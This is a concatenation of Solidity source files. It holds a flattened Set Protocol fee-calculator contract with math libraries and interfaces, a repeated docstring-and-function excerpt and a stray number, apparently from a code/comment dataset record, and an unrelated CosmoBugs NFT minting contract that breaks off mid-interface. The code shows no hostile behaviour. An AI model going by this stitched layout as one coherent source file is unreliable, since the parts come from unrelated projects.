// File: openzeppelin-solidity/contracts/math/SafeMath.sol pragma solidity ^0.5.2; /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } // File: contracts/lib/CommonMath.sol /* Copyright 2018 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.5.7; library CommonMath { using SafeMath for uint256; uint256 public constant SCALE_FACTOR = 10 ** 18; uint256 public constant MAX_UINT_256 = 2 ** 256 - 1; /** * Returns scale factor equal to 10 ** 18 * * @return 10 ** 18 */ function scaleFactor() internal pure returns (uint256) { return SCALE_FACTOR; } /** * Calculates and returns the maximum value for a uint256 * * @return The maximum value for uint256 */ function maxUInt256() internal pure returns (uint256) { return MAX_UINT_256; } /** * Increases a value by the scale factor to allow for additional precision * during mathematical operations */ function scale( uint256 a ) internal pure returns (uint256) { return a.mul(SCALE_FACTOR); } /** * Divides a value by the scale factor to allow for additional precision * during mathematical operations */ function deScale( uint256 a ) internal pure returns (uint256) { return a.div(SCALE_FACTOR); } /** * @dev Performs the power on a specified value, reverts on overflow. */ function safePower( uint256 a, uint256 pow ) internal pure returns (uint256) { require(a > 0); uint256 result = 1; for (uint256 i = 0; i < pow; i++){ uint256 previousResult = result; // Using safemath multiplication prevents overflows result = previousResult.mul(a); } return result; } /** * @dev Performs division where if there is a modulo, the value is rounded up */ function divCeil(uint256 a, uint256 b) internal pure returns(uint256) { return a.mod(b) > 0 ? a.div(b).add(1) : a.div(b); } /** * Checks for rounding errors and returns value of potential partial amounts of a principal * * @param _principal Number fractional amount is derived from * @param _numerator Numerator of fraction * @param _denominator Denominator of fraction * @return uint256 Fractional amount of principal calculated */ function getPartialAmount( uint256 _principal, uint256 _numerator, uint256 _denominator ) internal pure returns (uint256) { // Get remainder of partial amount (if 0 not a partial amount) uint256 remainder = mulmod(_principal, _numerator, _denominator); // Return if not a partial amount if (remainder == 0) { return _principal.mul(_numerator).div(_denominator); } // Calculate error percentage uint256 errPercentageTimes1000000 = remainder.mul(1000000).div(_numerator.mul(_principal)); // Require error percentage is less than 0.1%. require( errPercentageTimes1000000 < 1000, "CommonMath.getPartialAmount: Rounding error exceeds bounds" ); return _principal.mul(_numerator).div(_denominator); } /* * Gets the rounded up log10 of passed value * * @param _value Value to calculate ceil(log()) on * @return uint256 Output value */ function ceilLog10( uint256 _value ) internal pure returns (uint256) { // Make sure passed value is greater than 0 require ( _value > 0, "CommonMath.ceilLog10: Value must be greater than zero." ); // Since log10(1) = 0, if _value = 1 return 0 if (_value == 1) return 0; // Calcualte ceil(log10()) uint256 x = _value - 1; uint256 result = 0; if (x >= 10 ** 64) { x /= 10 ** 64; result += 64; } if (x >= 10 ** 32) { x /= 10 ** 32; result += 32; } if (x >= 10 ** 16) { x /= 10 ** 16; result += 16; } if (x >= 10 ** 8) { x /= 10 ** 8; result += 8; } if (x >= 10 ** 4) { x /= 10 ** 4; result += 4; } if (x >= 100) { x /= 100; result += 2; } if (x >= 10) { result += 1; } return result + 1; } } // File: contracts/core/interfaces/ICore.sol /* Copyright 2018 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.5.7; /** * @title ICore * @author Set Protocol * * The ICore Contract defines all the functions exposed in the Core through its * various extensions and is a light weight way to interact with the contract. */ interface ICore { /** * Return transferProxy address. * * @return address transferProxy address */ function transferProxy() external view returns (address); /** * Return vault address. * * @return address vault address */ function vault() external view returns (address); /** * Return address belonging to given exchangeId. * * @param _exchangeId ExchangeId number * @return address Address belonging to given exchangeId */ function exchangeIds( uint8 _exchangeId ) external view returns (address); /* * Returns if valid set * * @return bool Returns true if Set created through Core and isn't disabled */ function validSets(address) external view returns (bool); /* * Returns if valid module * * @return bool Returns true if valid module */ function validModules(address) external view returns (bool); /** * Return boolean indicating if address is a valid Rebalancing Price Library. * * @param _priceLibrary Price library address * @return bool Boolean indicating if valid Price Library */ function validPriceLibraries( address _priceLibrary ) external view returns (bool); /** * Exchanges components for Set Tokens * * @param _set Address of set to issue * @param _quantity Quantity of set to issue */ function issue( address _set, uint256 _quantity ) external; /** * Issues a specified Set for a specified quantity to the recipient * using the caller's components from the wallet and vault. * * @param _recipient Address to issue to * @param _set Address of the Set to issue * @param _quantity Number of tokens to issue */ function issueTo( address _recipient, address _set, uint256 _quantity ) external; /** * Converts user's components into Set Tokens held directly in Vault instead of user's account * * @param _set Address of the Set * @param _quantity Number of tokens to redeem */ function issueInVault( address _set, uint256 _quantity ) external; /** * Function to convert Set Tokens into underlying components * * @param _set The address of the Set token * @param _quantity The number of tokens to redeem. Should be multiple of natural unit. */ function redeem( address _set, uint256 _quantity ) external; /** * Redeem Set token and return components to specified recipient. The components * are left in the vault * * @param _recipient Recipient of Set being issued * @param _set Address of the Set * @param _quantity Number of tokens to redeem */ function redeemTo( address _recipient, address _set, uint256 _quantity ) external; /** * Function to convert Set Tokens held in vault into underlying components * * @param _set The address of the Set token * @param _quantity The number of tokens to redeem. Should be multiple of natural unit. */ function redeemInVault( address _set, uint256 _quantity ) external; /** * Composite method to redeem and withdraw with a single transaction * * Normally, you should expect to be able to withdraw all of the tokens. * However, some have central abilities to freeze transfers (e.g. EOS). _toExclude * allows you to optionally specify which component tokens to exclude when * redeeming. They will remain in the vault under the users' addresses. * * @param _set Address of the Set * @param _to Address to withdraw or attribute tokens to * @param _quantity Number of tokens to redeem * @param _toExclude Mask of indexes of tokens to exclude from withdrawing */ function redeemAndWithdrawTo( address _set, address _to, uint256 _quantity, uint256 _toExclude ) external; /** * Deposit multiple tokens to the vault. Quantities should be in the * order of the addresses of the tokens being deposited. * * @param _tokens Array of the addresses of the ERC20 tokens * @param _quantities Array of the number of tokens to deposit */ function batchDeposit( address[] calldata _tokens, uint256[] calldata _quantities ) external; /** * Withdraw multiple tokens from the vault. Quantities should be in the * order of the addresses of the tokens being withdrawn. * * @param _tokens Array of the addresses of the ERC20 tokens * @param _quantities Array of the number of tokens to withdraw */ function batchWithdraw( address[] calldata _tokens, uint256[] calldata _quantities ) external; /** * Deposit any quantity of tokens into the vault. * * @param _token The address of the ERC20 token * @param _quantity The number of tokens to deposit */ function deposit( address _token, uint256 _quantity ) external; /** * Withdraw a quantity of tokens from the vault. * * @param _token The address of the ERC20 token * @param _quantity The number of tokens to withdraw */ function withdraw( address _token, uint256 _quantity ) external; /** * Transfer tokens associated with the sender's account in vault to another user's * account in vault. * * @param _token Address of token being transferred * @param _to Address of user receiving tokens * @param _quantity Amount of tokens being transferred */ function internalTransfer( address _token, address _to, uint256 _quantity ) external; /** * Deploys a new Set Token and adds it to the valid list of SetTokens * * @param _factory The address of the Factory to create from * @param _components The address of component tokens * @param _units The units of each component token * @param _naturalUnit The minimum unit to be issued or redeemed * @param _name The bytes32 encoded name of the new Set * @param _symbol The bytes32 encoded symbol of the new Set * @param _callData Byte string containing additional call parameters * @return setTokenAddress The address of the new Set */ function createSet( address _factory, address[] calldata _components, uint256[] calldata _units, uint256 _naturalUnit, bytes32 _name, bytes32 _symbol, bytes calldata _callData ) external returns (address); /** * Exposes internal function that deposits a quantity of tokens to the vault and attributes * the tokens respectively, to system modules. * * @param _from Address to transfer tokens from * @param _to Address to credit for deposit * @param _token Address of token being deposited * @param _quantity Amount of tokens to deposit */ function depositModule( address _from, address _to, address _token, uint256 _quantity ) external; /** * Exposes internal function that withdraws a quantity of tokens from the vault and * deattributes the tokens respectively, to system modules. * * @param _from Address to decredit for withdraw * @param _to Address to transfer tokens to * @param _token Address of token being withdrawn * @param _quantity Amount of tokens to withdraw */ function withdrawModule( address _from, address _to, address _token, uint256 _quantity ) external; /** * Exposes internal function that deposits multiple tokens to the vault, to system * modules. Quantities should be in the order of the addresses of the tokens being * deposited. * * @param _from Address to transfer tokens from * @param _to Address to credit for deposits * @param _tokens Array of the addresses of the tokens being deposited * @param _quantities Array of the amounts of tokens to deposit */ function batchDepositModule( address _from, address _to, address[] calldata _tokens, uint256[] calldata _quantities ) external; /** * Exposes internal function that withdraws multiple tokens from the vault, to system * modules. Quantities should be in the order of the addresses of the tokens being withdrawn. * * @param _from Address to decredit for withdrawals * @param _to Address to transfer tokens to * @param _tokens Array of the addresses of the tokens being withdrawn * @param _quantities Array of the amounts of tokens to withdraw */ function batchWithdrawModule( address _from, address _to, address[] calldata _tokens, uint256[] calldata _quantities ) external; /** * Expose internal function that exchanges components for Set tokens, * accepting any owner, to system modules * * @param _owner Address to use tokens from * @param _recipient Address to issue Set to * @param _set Address of the Set to issue * @param _quantity Number of tokens to issue */ function issueModule( address _owner, address _recipient, address _set, uint256 _quantity ) external; /** * Expose internal function that exchanges Set tokens for components, * accepting any owner, to system modules * * @param _burnAddress Address to burn token from * @param _incrementAddress Address to increment component tokens to * @param _set Address of the Set to redeem * @param _quantity Number of tokens to redeem */ function redeemModule( address _burnAddress, address _incrementAddress, address _set, uint256 _quantity ) external; /** * Expose vault function that increments user's balance in the vault. * Available to system modules * * @param _tokens The addresses of the ERC20 tokens * @param _owner The address of the token owner * @param _quantities The numbers of tokens to attribute to owner */ function batchIncrementTokenOwnerModule( address[] calldata _tokens, address _owner, uint256[] calldata _quantities ) external; /** * Expose vault function that decrement user's balance in the vault * Only available to system modules. * * @param _tokens The addresses of the ERC20 tokens * @param _owner The address of the token owner * @param _quantities The numbers of tokens to attribute to owner */ function batchDecrementTokenOwnerModule( address[] calldata _tokens, address _owner, uint256[] calldata _quantities ) external; /** * Expose vault function that transfer vault balances between users * Only available to system modules. * * @param _tokens Addresses of tokens being transferred * @param _from Address tokens being transferred from * @param _to Address tokens being transferred to * @param _quantities Amounts of tokens being transferred */ function batchTransferBalanceModule( address[] calldata _tokens, address _from, address _to, uint256[] calldata _quantities ) external; /** * Transfers token from one address to another using the transfer proxy. * Only available to system modules. * * @param _token The address of the ERC20 token * @param _quantity The number of tokens to transfer * @param _from The address to transfer from * @param _to The address to transfer to */ function transferModule( address _token, uint256 _quantity, address _from, address _to ) external; /** * Expose transfer proxy function to transfer tokens from one address to another * Only available to system modules. * * @param _tokens The addresses of the ERC20 token * @param _quantities The numbers of tokens to transfer * @param _from The address to transfer from * @param _to The address to transfer to */ function batchTransferModule( address[] calldata _tokens, uint256[] calldata _quantities, address _from, address _to ) external; } // File: contracts/core/interfaces/IFeeCalculator.sol /* Copyright 2019 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.5.7; /** * @title IFeeCalculator * @author Set Protocol * */ interface IFeeCalculator { /* ============ External Functions ============ */ function initialize( bytes calldata _feeCalculatorData ) external; function getFee() external view returns(uint256); } // File: contracts/core/interfaces/ISetToken.sol /* Copyright 2018 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.5.7; /** * @title ISetToken * @author Set Protocol * * The ISetToken interface provides a light-weight, structured way to interact with the * SetToken contract from another contract. */ interface ISetToken { /* ============ External Functions ============ */ /* * Get natural unit of Set * * @return uint256 Natural unit of Set */ function naturalUnit() external view returns (uint256); /* * Get addresses of all components in the Set * * @return componentAddresses Array of component tokens */ function getComponents() external view returns (address[] memory); /* * Get units of all tokens in Set * * @return units Array of component units */ function getUnits() external view returns (uint256[] memory); /* * Checks to make sure token is component of Set * * @param _tokenAddress Address of token being checked * @return bool True if token is component of Set */ function tokenIsComponent( address _tokenAddress ) external view returns (bool); /* * Mint set token for given address. * Can only be called by authorized contracts. * * @param _issuer The address of the issuing account * @param _quantity The number of sets to attribute to issuer */ function mint( address _issuer, uint256 _quantity ) external; /* * Burn set token for given address * Can only be called by authorized contracts * * @param _from The address of the redeeming account * @param _quantity The number of sets to burn from redeemer */ function burn( address _from, uint256 _quantity ) external; /** * Transfer token for a specified address * * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer( address to, uint256 value ) external; } // File: contracts/core/lib/SetTokenLibrary.sol /* Copyright 2018 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.5.7; library SetTokenLibrary { using SafeMath for uint256; struct SetDetails { uint256 naturalUnit; address[] components; uint256[] units; } /** * Validates that passed in tokens are all components of the Set * * @param _set Address of the Set * @param _tokens List of tokens to check */ function validateTokensAreComponents( address _set, address[] calldata _tokens ) external view { for (uint256 i = 0; i < _tokens.length; i++) { // Make sure all tokens are members of the Set require( ISetToken(_set).tokenIsComponent(_tokens[i]), "SetTokenLibrary.validateTokensAreComponents: Component must be a member of Set" ); } } /** * Validates that passed in quantity is a multiple of the natural unit of the Set. * * @param _set Address of the Set * @param _quantity Quantity to validate */ function isMultipleOfSetNaturalUnit( address _set, uint256 _quantity ) external view { require( _quantity.mod(ISetToken(_set).naturalUnit()) == 0, "SetTokenLibrary.isMultipleOfSetNaturalUnit: Quantity is not a multiple of nat unit" ); } /** * Validates that passed in quantity is a multiple of the natural unit of the Set. * * @param _core Address of Core * @param _set Address of the Set */ function requireValidSet( ICore _core, address _set ) internal view { require( _core.validSets(_set), "SetTokenLibrary: Must be an approved SetToken address" ); } /** * Retrieves the Set's natural unit, components, and units. * * @param _set Address of the Set * @return SetDetails Struct containing the natural unit, components, and units */ function getSetDetails( address _set ) internal view returns (SetDetails memory) { // Declare interface variables ISetToken setToken = ISetToken(_set); // Fetch set token properties uint256 naturalUnit = setToken.naturalUnit(); address[] memory components = setToken.getComponents(); uint256[] memory units = setToken.getUnits(); return SetDetails({ naturalUnit: naturalUnit, components: components, units: units }); } } // File: contracts/lib/ScaleValidations.sol /* Copyright 2019 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.5.7; library ScaleValidations { using SafeMath for uint256; uint256 private constant ONE_HUNDRED_PERCENT = 1e18; uint256 private constant ONE_BASIS_POINT = 1e14; function validateLessThanEqualOneHundredPercent(uint256 _value) internal view { require(_value <= ONE_HUNDRED_PERCENT, "Must be <= 100%"); } function validateMultipleOfBasisPoint(uint256 _value) internal view { require( _value.mod(ONE_BASIS_POINT) == 0, "Must be multiple of 0.01%" ); } } // File: contracts/core/fee-calculators/FixedFeeCalculator.sol /* Copyright 2019 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.5.7; /** * @title FixedFeeCalculator * @author Set Protocol * * Smart contract that stores and returns fees (represented as scaled decimal values). * Meant to be used with a RebalancingSetTokenV2 */ contract FixedFeeCalculator is IFeeCalculator { using SafeMath for uint256; /* ============ State Variables ============ */ // Mapping between an address and its initialization state mapping(address => bool) public isInitialized; // Mapping between an address and its current fee mapping(address => uint256) public fees; /* ============ External Functions ============ */ /** * Initializes the rebalance fee for the caller. Fee is represented as a scaled decimal value. * (e.g. 1% = 10 ** 18, 0.1% = 10 ** 17) * Intended to be called by a RebalancingSetTokenV2 during initialization. * * @param _feeCalculatorData Bytes encoded data about the fee for the sender */ function initialize( bytes calldata _feeCalculatorData ) external { // Sender fee must not already be initialized require(!isInitialized[msg.sender], "Must not be initialized"); uint256 fee = parseFeeCalculatorData(_feeCalculatorData); validateFee(fee); fees[msg.sender] = fee; isInitialized[msg.sender] = true; } /** * Returns the fee initialized by the sender. Implicitly returns 0 if the fee has not bee initialized. */ function getFee() external view returns(uint256) { return fees[msg.sender]; } /* ============ Private Functions ============ */ /** * Fee should not exceed 100% and should be a multiple of a basis point. * * @param _fee Fee value represented as scaled value */ function validateFee( uint256 _fee ) private view { ScaleValidations.validateLessThanEqualOneHundredPercent(_fee); ScaleValidations.validateMultipleOfBasisPoint(_fee); } /** * Function to convert the feeCalculator bytes data to the fee * * @param _feeCalculatorData Bytes encoded data about the fee for the sender * @return _fee Parsed fee value represented as scaled value */ function parseFeeCalculatorData( bytes memory _feeCalculatorData ) private pure returns (uint256) { uint256 fee; assembly { fee := mload(add(_feeCalculatorData, 32)) } return fee; } }
Fee should not exceed 100% and should be a multiple of a basis point. _fee Fee value represented as scaled value/
function validateFee( uint256 _fee ) private view { ScaleValidations.validateLessThanEqualOneHundredPercent(_fee); ScaleValidations.validateMultipleOfBasisPoint(_fee); }
12,893,199
// SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./utils/Ownable.sol"; import "./CosmoBugsERC721.sol"; interface IERC20BurnTransfer { function burn(uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } interface ICosmoBugs { function isMintedBeforeReveal(uint256 index) external view returns (bool); } contract OwnableDelegateProxy {} contract ProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } // https://eips.ethereum.org/EIPS/eip-721 tokenURI /** * @title CosmoBugs contract * @dev Extends ERC721 Non-Fungible Token Standard basic implementation */ contract CosmoBugs is Ownable, CosmoBugsERC721, ICosmoBugs { using SafeMath for uint256; // This is the provenance record of all CosmoBugs artwork in existence uint256 public constant COSMO_PRICE = 1_000_000_000_000e18; uint256 public constant CMP_PRICE = 5_000e18; uint256 public constant NAME_CHANGE_PRICE = 1_830e18; uint256 public constant SECONDS_IN_A_DAY = 86400; uint256 public constant MAX_SUPPLY = 16410; string public constant PROVENANCE = "0a03c03e36aa3757228e9d185f794f25953c643110c8bb3eb5ef892d062b07ab"; uint256 public constant SALE_START_TIMESTAMP = 1623682800; // "2021-06-14T15:00:00.000Z" // Time after which CosmoBugs are randomized and allotted uint256 public constant REVEAL_TIMESTAMP = 1624892400; // "2021-06-28T15:00:00.000Z" uint256 public startingIndexBlock; uint256 public startingIndex; // tokens address public nftPower; address public constant tokenCosmo = 0x27cd7375478F189bdcF55616b088BE03d9c4339c; address public constant tokenCmp = 0xB9FDc13F7f747bAEdCc356e9Da13Ab883fFa719B; address public proxyRegistryAddress; string private _contractURI; // Mapping from token ID to name mapping(uint256 => string) private _tokenName; // Mapping if certain name string has already been reserved mapping(string => bool) private _nameReserved; // Mapping from token ID to whether the CosmoMask was minted before reveal mapping(uint256 => bool) private _mintedBeforeReveal; event NameChange(uint256 indexed tokenId, string newName); event SetStartingIndexBlock(uint256 startingIndexBlock); event SetStartingIndex(uint256 startingIndex); constructor(address _nftPowerAddress, address _proxyRegistryAddress) public CosmoBugsERC721("CosmoBugs", "COSBUG") { nftPower = _nftPowerAddress; proxyRegistryAddress = _proxyRegistryAddress; _setURL("https://cosmobugs.com/"); _setBaseURI("https://cosmobugs.com/metadata/"); _contractURI = "https://cosmobugs.com/metadata/contract.json"; } function contractURI() public view returns (string memory) { return _contractURI; } /** * @dev Returns name of the CosmoMask at index. */ function tokenNameByIndex(uint256 index) public view returns (string memory) { return _tokenName[index]; } /** * @dev Returns if the name has been reserved. */ function isNameReserved(string memory nameString) public view returns (bool) { return _nameReserved[toLower(nameString)]; } /** * @dev Returns if the CosmoMask has been minted before reveal phase */ function isMintedBeforeReveal(uint256 index) public view override returns (bool) { return _mintedBeforeReveal[index]; } /** * @dev Gets current CosmoMask Price */ function getPrice() public view returns (uint256) { require(block.timestamp >= SALE_START_TIMESTAMP, "CosmoBugs: sale has not started"); require(totalSupply() < MAX_SUPPLY, "CosmoBugs: sale has already ended"); uint256 currentSupply = totalSupply(); if (currentSupply >= 16409) { return 2_000_000e18; } else if (currentSupply >= 16407) { return 200_000e18; } else if (currentSupply >= 16400) { return 20_000e18; } else if (currentSupply >= 16381) { return 2_000e18; } else if (currentSupply >= 16000) { return 200e18; } else if (currentSupply >= 15000) { return 34e18; } else if (currentSupply >= 11000) { return 18e18; } else if (currentSupply >= 7000) { return 10e18; } else if (currentSupply >= 3000) { return 6e18; } else { return 2e18; } } /** * @dev Mints CosmoBugs */ function mint(uint256 numberOfMasks) public payable { require(totalSupply() < MAX_SUPPLY, "CosmoBugs: sale has already ended"); require(numberOfMasks > 0, "CosmoBugs: numberOfMasks cannot be 0"); require(numberOfMasks <= 20, "CosmoBugs: You may not buy more than 20 CosmoBugs at once"); require(totalSupply().add(numberOfMasks) <= MAX_SUPPLY, "CosmoBugs: Exceeds MAX_SUPPLY"); require(getPrice().mul(numberOfMasks) == msg.value, "CosmoBugs: Ether value sent is not correct"); for (uint256 i = 0; i < numberOfMasks; i++) { uint256 mintIndex = totalSupply(); if (block.timestamp < REVEAL_TIMESTAMP) { _mintedBeforeReveal[mintIndex] = true; } _safeMint(msg.sender, mintIndex); } if (startingIndex == 0 && (totalSupply() == MAX_SUPPLY || block.timestamp >= REVEAL_TIMESTAMP)) { _setStartingIndex(); } } function mintByCosmo(uint256 numberOfMasks) public { require(totalSupply() < MAX_SUPPLY, "CosmoBugs: sale has already ended"); require(numberOfMasks > 0, "CosmoBugs: numberOfMasks cannot be 0"); require(numberOfMasks <= 20, "CosmoBugs: You may not buy more than 20 CosmoBugs at once"); require(totalSupply().add(numberOfMasks) <= (MAX_SUPPLY - 10), "CosmoBugs: The last 10 masks can only be purchased for ETH"); uint256 purchaseAmount = COSMO_PRICE.mul(numberOfMasks); require( IERC20BurnTransfer(tokenCosmo).transferFrom(msg.sender, address(this), purchaseAmount), "CosmoBugs: Transfer COSMO amount exceeds allowance" ); for (uint256 i = 0; i < numberOfMasks; i++) { uint256 mintIndex = totalSupply(); if (block.timestamp < REVEAL_TIMESTAMP) { _mintedBeforeReveal[mintIndex] = true; } _safeMint(msg.sender, mintIndex); } if (startingIndex == 0 && (totalSupply() == MAX_SUPPLY || block.timestamp >= REVEAL_TIMESTAMP)) { _setStartingIndex(); } IERC20BurnTransfer(tokenCosmo).burn(purchaseAmount); } function mintByCmp(uint256 numberOfMasks) public { require(totalSupply() < MAX_SUPPLY, "CosmoBugs: sale has already ended"); require(numberOfMasks > 0, "CosmoBugs: numberOfMasks cannot be 0"); require(numberOfMasks <= 20, "CosmoBugs: You may not buy more than 20 CosmoBugs at once"); require(totalSupply().add(numberOfMasks) <= (MAX_SUPPLY - 10), "CosmoBugs: The last 10 masks can only be purchased for ETH"); uint256 purchaseAmount = CMP_PRICE.mul(numberOfMasks); require( IERC20BurnTransfer(tokenCmp).transferFrom(msg.sender, address(this), purchaseAmount), "CosmoBugs: Transfer CMP amount exceeds allowance" ); for (uint256 i = 0; i < numberOfMasks; i++) { uint256 mintIndex = totalSupply(); if (block.timestamp < REVEAL_TIMESTAMP) { _mintedBeforeReveal[mintIndex] = true; } _safeMint(msg.sender, mintIndex); } if (startingIndex == 0 && (totalSupply() == MAX_SUPPLY || block.timestamp >= REVEAL_TIMESTAMP)) { _setStartingIndex(); } IERC20BurnTransfer(tokenCmp).burn(purchaseAmount); } function isApprovedForAll(address owner, address operator) public view override returns (bool) { // Whitelist OpenSea proxy contract for easy trading. ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress); if (address(proxyRegistry.proxies(owner)) == operator) { return true; } return super.isApprovedForAll(owner, operator); } /** * @dev Finalize starting index */ function finalizeStartingIndex() public { require(startingIndex == 0, "CosmoBugs: starting index is already set"); require(block.timestamp >= REVEAL_TIMESTAMP, "CosmoBugs: Too early"); _setStartingIndex(); } function _setStartingIndex() internal { startingIndexBlock = block.number - 1; emit SetStartingIndexBlock(startingIndexBlock); startingIndex = uint256(blockhash(startingIndexBlock)) % 16400; // Prevent default sequence if (startingIndex == 0) { startingIndex = startingIndex.add(1); } emit SetStartingIndex(startingIndex); } /** * @dev Changes the name for CosmoMask tokenId */ function changeName(uint256 tokenId, string memory newName) public { address owner = ownerOf(tokenId); require(_msgSender() == owner, "CosmoBugs: caller is not the token owner"); require(validateName(newName) == true, "CosmoBugs: not a valid new name"); require(sha256(bytes(newName)) != sha256(bytes(_tokenName[tokenId])), "CosmoBugs: new name is same as the current one"); require(isNameReserved(newName) == false, "CosmoBugs: name already reserved"); IERC20BurnTransfer(nftPower).transferFrom(msg.sender, address(this), NAME_CHANGE_PRICE); // If already named, dereserve old name if (bytes(_tokenName[tokenId]).length > 0) { toggleReserveName(_tokenName[tokenId], false); } toggleReserveName(newName, true); _tokenName[tokenId] = newName; IERC20BurnTransfer(nftPower).burn(NAME_CHANGE_PRICE); emit NameChange(tokenId, newName); } /** * @dev Withdraw ether from this contract (Callable by owner) */ function withdraw() public onlyOwner { uint256 balance = address(this).balance; msg.sender.transfer(balance); } /** * @dev Reserves the name if isReserve is set to true, de-reserves if set to false */ function toggleReserveName(string memory str, bool isReserve) internal { _nameReserved[toLower(str)] = isReserve; } /** * @dev Check if the name string is valid (Alphanumeric and spaces without leading or trailing space) */ function validateName(string memory str) public pure returns (bool) { bytes memory b = bytes(str); if (b.length < 1) return false; // Cannot be longer than 25 characters if (b.length > 25) return false; // Leading space if (b[0] == 0x20) return false; // Trailing space if (b[b.length - 1] == 0x20) return false; bytes1 lastChar = b[0]; for (uint256 i; i < b.length; i++) { bytes1 char = b[i]; // Cannot contain continous spaces if (char == 0x20 && lastChar == 0x20) return false; if ( !(char >= 0x30 && char <= 0x39) && //9-0 !(char >= 0x41 && char <= 0x5A) && //A-Z !(char >= 0x61 && char <= 0x7A) && //a-z !(char == 0x20) //space ) return false; lastChar = char; } return true; } /** * @dev Converts the string to lowercase */ function toLower(string memory str) public pure returns (string memory) { bytes memory bStr = bytes(str); bytes memory bLower = new bytes(bStr.length); for (uint256 i = 0; i < bStr.length; i++) { // Uppercase character if ((uint8(bStr[i]) >= 65) && (uint8(bStr[i]) <= 90)) bLower[i] = bytes1(uint8(bStr[i]) + 32); else bLower[i] = bStr[i]; } return string(bLower); } function setBaseURI(string memory baseURI_) public onlyOwner { _setBaseURI(baseURI_); } function setContractURI(string memory contractURI_) public onlyOwner { _contractURI = contractURI_; } function setURL(string memory newUrl) public onlyOwner { _setURL(newUrl); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./libraries/SafeMath.sol"; import "./libraries/Address.sol"; import "./libraries/EnumerableSet.sol"; import "./libraries/EnumerableMap.sol"; import "./libraries/Strings.sol"; import "./utils/Context.sol"; interface ICosmoBugsERC721 { // IERC165 function supportsInterface(bytes4 interfaceId) external view returns (bool); // IERC721Enumerable function totalSupply() external view returns (uint256); function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); function tokenByIndex(uint256 index) external view returns (uint256); // IERC721Metadata function name() external view returns (string memory _name); function symbol() external view returns (string memory _symbol); function tokenURI(uint256 _tokenId) external view returns (string memory); // ERC721 function balanceOf(address owner) external view returns (uint256 balance); function ownerOf(uint256 tokenId) external view returns (address owner); function safeTransferFrom(address from, address to, uint256 tokenId) external; function transferFrom(address from, address to, uint256 tokenId) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; event Transfer(address indexed 